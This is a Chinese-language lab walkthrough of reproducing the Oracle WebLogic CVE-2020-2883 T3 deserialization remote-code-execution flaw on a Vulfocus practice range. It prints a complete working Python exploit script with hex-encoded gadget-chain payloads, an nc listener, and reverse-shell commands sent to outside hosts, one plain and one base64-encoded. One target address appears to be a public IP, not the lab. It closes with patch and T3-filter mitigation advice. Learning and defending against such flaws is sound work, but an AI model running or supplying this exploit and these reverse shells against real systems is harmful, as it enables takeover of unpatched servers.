Vulfocus 复现weblogic_CVE-2020-2883漏洞

漏洞介绍

在Oracle官方发布的2020年4月关键补丁更新公告CPU（Critical Patch Update）中，两个针对 WebLogic Server ，CVSS 3.0评分为 9.8的严重漏洞（CVE-2020-2883、CVE-2020-2884），允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。

影响范围

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

环境搭建

我们使用vulfocus靶场一键启动搭建本漏洞环境，Vulfocus 是一个漏洞集成平台，将漏洞环境 docker 镜像，放入即可使用，开箱即用，可以过。

在线演示：http://vulfocus.fofa.so/，本环境是在一台服务器上安装ubuntu虚拟机，在虚拟机中安装vulfocus docker靶场，然后通过局域网其他机器模拟攻击，拓扑图如下：

安装vulfocus之后打开网站启动ulfocus docker靶场(图片上的显示的192.168.109.136 IP地址是系统bug，实际地址是192.168.109.140)

我们可以在服务器192.168.1.111上访问192.168.109.140:50281确认weblogic靶机成功

然后我们通过拓扑图，虚拟机是net方式部署，可知攻击机是无法访问weblogic服务的，我们可以通过在虚拟网卡上添加一条端口映射

然后我们就可以在攻击机192.168.1.236成功访问weblogic服务了

至此，一个完整的weblogic靶机环境搭建成功。

漏洞复现

首先，漏洞POC如下：

# -*- coding: utf-8 -*-
import socket
import time
import ssl
import binascii
import urlparse
import argparse
import sys


globalProxies = {}
header = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"
    }

def parseUrl(url):
    parsed = urlparse.urlparse(url)
    proto = parsed.scheme
    netloc = parsed.netloc
    ip = netloc
    if proto == 'http':
        port = 80
    else:
        port = 443

    if (':' in netloc):
        ip = netloc.split(':')[0]
        port = netloc.split(':')[1]

    uri = parsed.path
    return (proto, ip, port, uri)


def CVE_2020_2883(cmd):
    payload_start = 'aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b78700000000273720030636f6d2e74616e676f736f6c2e7574696c2e636f6d70617261746f722e457874726163746f72436f6d70617261746f72c7ad6d3a676f3c180200014c000b6d5f657874726163746f727400224c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b78707372002c636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e436861696e6564457874726163746f72889f81b0945d5b7f02000078720036636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374436f6d706f73697465457874726163746f72086b3d8c05690f440200015b000c6d5f61457874726163746f727400235b4c636f6d2f74616e676f736f6c2f7574696c2f56616c7565457874726163746f723b7872002d636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e4162737472616374457874726163746f72658195303e7238210200014900096d5f6e546172676574787000000000757200235b4c636f6d2e74616e676f736f6c2e7574696c2e56616c7565457874726163746f723b2246204735c4a0fe0200007870000000037372002f636f6d2e74616e676f736f6c2e7574696c2e657874726163746f722e5265666c656374696f6e457874726163746f72ee7ae995c02fb4a20200025b00096d5f616f506172616d7400135b4c6a6176612f6c616e672f4f626a6563743b4c00096d5f734d6574686f647400124c6a6176612f6c616e672f537472696e673b7871007e000900000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647371007e000d000000007571007e001100000002707571007e001100000000740006696e766f6b657371007e000d000000007571007e00110000000174'
    payload_lenhex = '{:04x}'.format(len(cmd))
    payload_cmdhex = binascii.b2a_hex(cmd)
    payload_end = '74000465786563770400000003767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707400013178'
    payload = payload_start + payload_lenhex + payload_cmdhex + payload_end

    return payload

class payloadtest(object):
    def __init__(self):

        self.vuln = 'cve_2020_2883'

    def t3handshake(self,sock,server_addr):
        sock.connect(server_addr)
        sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
        time.sleep(1)
        data = sock.recv(1024)
        #print data
        #print 'handshake successful'

    def buildT3RequestObject(self,sock,port):
        data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
        data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b19ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
        data3 = '1a7727000d3234322e323134'
        data4 = '2e312e32353461863d1d0000000078'
        for d in [data1,data2,data3,data4]:
            sock.send(d.decode('hex'))
        time.sleep(2)
        #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

    def sendEvilObjData(self,sock,data):
        payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
        payload+=data
        payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
        payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
        sock.send(payload.decode('hex'))
        time.sleep(2)
        sock.send(payload.decode('hex'))
        res = ''
        n=1
        try:
            while True:
                n += 1
                res += sock.recv(4096)
                time.sleep(0.1)
                if(n>15):
                    break
        except Exception as e:
            pass
        return res

    def check(self, url, cmd,timeout, proxies=globalProxies, **args):
        (proto, ip, port, uri) = parseUrl(url)

        server_addr = (ip, int(port))
        if proto == 'https':
            sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
        else:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        try:
            self.t3handshake(sock,server_addr)
            self.buildT3RequestObject(sock,port)
            payload = CVE_2020_2883(cmd)
            resp = self.sendEvilObjData(sock,payload)

            print ('Payload send succeed! Please check.')

            return True
        except Exception as e:
            print ('Failed! Exception:{}'.format(str(e)))

        return False

def poc(url,cmd):
    x = payloadtest()
    return x.check(url, cmd,20)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic cve-2020-2883 Exp',
                                     usage='use "python %(prog)s --help" for more information',
                                     formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="the url to check"
                        )

    parser.add_argument("-c", "--cmd",
                        dest="cmd",
                        help="the cmd to run on the target"
                        )
    args = parser.parse_args()
    if not args.url or not args.cmd:
        sys.exit('Please assign url and cmd!')
    poc(args.url, args.cmd)

首先开启nc监听nc -lvvp 19999

执行攻击脚本，反弹shell

1	python weblogic-2883.py -u http://188.40.189.135:18048/ -c "bash -i >& /dev/tcp/1.1.1.1/19999 0>&1"

返回shell成功执行，但是监听一直无法成功接收到shell，上网搜索了一下，反弹shell需要编码，通过网站

http://www.jackson-t.ca/runtime-exec-payloads.html 编码shell脚本，然后执行

1 2	python weblogic-2883.py -u http://192.168.1.111:7001/ -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjM2Lz E5OTk5IDA+JjE=}\|{base64,-d}\|{bash,-i}"

如上图所示，成功反弹shell，访问/tmp/目录成功获取flag

修复建议

1、官方修复方案

Oracle已经发布补丁修复了上述漏洞，请用户参考官方通告及时下载受影响产品更新补丁，并参照补丁安装包中的readme文件进行安装更新，以保证长期有效的防护。

注：Oracle官方补丁需要用户持有正版软件的许可账号，使用该账号登陆https://support.oracle.com后，可以下载最新补丁。

2、临时解决方案

用户可通过控制T3协议的访问来临时阻断针对这些漏洞的攻击。操作方法如下：

1. 进入WebLogic控制台，在base_domain的配置页面中，进入“安全”选项卡页面，点击“筛选器”，进入连接筛选器配置。
2. 在连接筛选器中输入：weblogic.security.net.ConnectionFilterImpl，参考以下写法，在连接筛选器规则中配置符合企业实际情况的规则：

127.0.0.1 * * allow t3 t3s
本机IP * * allow t3 t3s
允许访问的IP  * * allow t3 t3s  
* * * deny t3 t3s

3. 保存后若规则未生效，建议重新启动WebLogic服务（重启WebLogic服务会导致业务中断，建议相关人员评估风险后，再进行操作）。